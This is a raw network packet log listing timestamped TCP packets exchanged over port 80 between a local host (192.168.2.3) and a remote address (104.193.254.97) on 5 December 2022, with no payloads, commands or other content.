Dec 5, 2022 06:44:49.415848017 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.415934086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.415978909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416008949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416038036 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.416050911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416094065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416125059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416148901 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.416167021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416208029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416239977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416264057 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.416280031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416323900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416352987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416378021 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.416393995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416436911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416466951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416488886 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.416510105 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416553020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416585922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416608095 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.416626930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416670084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416698933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416739941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416754961 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.416779995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416810036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.416865110 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.417622089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.417679071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.417710066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.417747021 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.417751074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.417793989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.417826891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.417848110 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.417867899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.417908907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.417939901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.417963028 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.417983055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.418025970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.418055058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.418097973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.418102026 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.418144941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.418174028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.418220043 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.475914955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.475979090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.476010084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.476118088 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.550339937 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.550446033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.550479889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.550520897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.550565004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.550578117 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.550599098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.550638914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.550642967 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.550683975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.550715923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.550741911 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.553354979 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.553416014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.553447962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.553489923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.553489923 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.553534985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.553567886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.553587914 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.556231022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556288958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556323051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556364059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556365967 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.556408882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556442022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556482077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556495905 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.556524038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556554079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556597948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556602955 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.556641102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556672096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.556801081 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.572638035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.572679043 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.572696924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.572721004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.572746992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.572750092 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.572766066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.572792053 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.577128887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.577156067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.577168941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.577217102 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.579169035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579193115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579227924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579246044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579253912 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.579286098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579301119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579322100 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.579509020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579528093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579541922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579559088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579570055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.579596996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579610109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579643965 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.579893112 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579929113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579946995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579965115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579982042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.579987049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.579997063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580017090 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.580034971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580053091 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580065966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580085039 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.580126047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580143929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580158949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580176115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580178022 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.580194950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580208063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580226898 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.580622911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580648899 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580662966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580686092 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.580705881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580725908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580739021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580760002 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.580780029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580813885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580826998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580842972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580848932 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.580862045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580876112 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580912113 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.580936909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580955029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580969095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.580987930 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.638511896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.638556004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.638571978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.638706923 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.713824034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.713922977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.713974953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.714006901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.714039087 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.714068890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.714109898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.714149952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.714183092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.714250088 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.714250088 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.715909004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.715954065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.715982914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.716023922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.716026068 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.716065884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.716094017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.716120005 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.718789101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.718831062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.718862057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.718931913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.718935013 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.718974113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.719005108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.719047070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.719058990 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.719088078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.719116926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.719146967 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.719160080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.719202995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.719233036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.719260931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.735557079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.735619068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.735654116 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.735766888 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.736085892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.736130953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.736162901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.736675024 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.739326954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.739372015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.739404917 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.739953041 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.740283966 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.741417885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741465092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741494894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741534948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741539001 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.741575956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741607904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741635084 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.741651058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741697073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741725922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741755009 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.741766930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741812944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741904974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.741934061 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.742338896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.742383003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.742413044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.742435932 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.742454052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.742496014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.742526054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.742575884 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.742897987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.742953062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.742985964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743026018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743040085 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.743069887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743099928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743139982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743156910 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.743181944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743212938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743252993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743258953 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.743297100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743326902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743367910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743371964 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.743411064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743439913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743479967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743485928 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.743521929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743552923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743596077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743602991 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.743642092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743671894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743712902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743720055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.743756056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743786097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.743832111 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.801161051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.801234961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.801309109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.801491976 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.876692057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.876764059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.876797915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.876838923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.876847982 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.876882076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.876914978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.876943111 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.876959085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.877001047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.877032042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.877082109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.878179073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.878235102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.878267050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.878307104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.878329039 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.878349066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.878379107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.878428936 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.881294012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881340027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881369114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881397963 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.881409883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881453991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881481886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881522894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881526947 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.881563902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881592989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881614923 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.881640911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881683111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881712914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.881733894 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.898384094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.898437977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.898471117 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.898551941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.899274111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.899322033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.899363041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.899425983 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.904088974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.904139042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.904175997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.904208899 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.905555010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.905638933 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.905689955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.905750036 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.905788898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.905848026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.905880928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.905915022 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.906050920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906105042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906138897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906157017 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.906191111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906241894 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906280994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906332970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906337023 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:49.906378984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:49.906415939 CET	80	49705	104.193.254.97	192.168.2.3
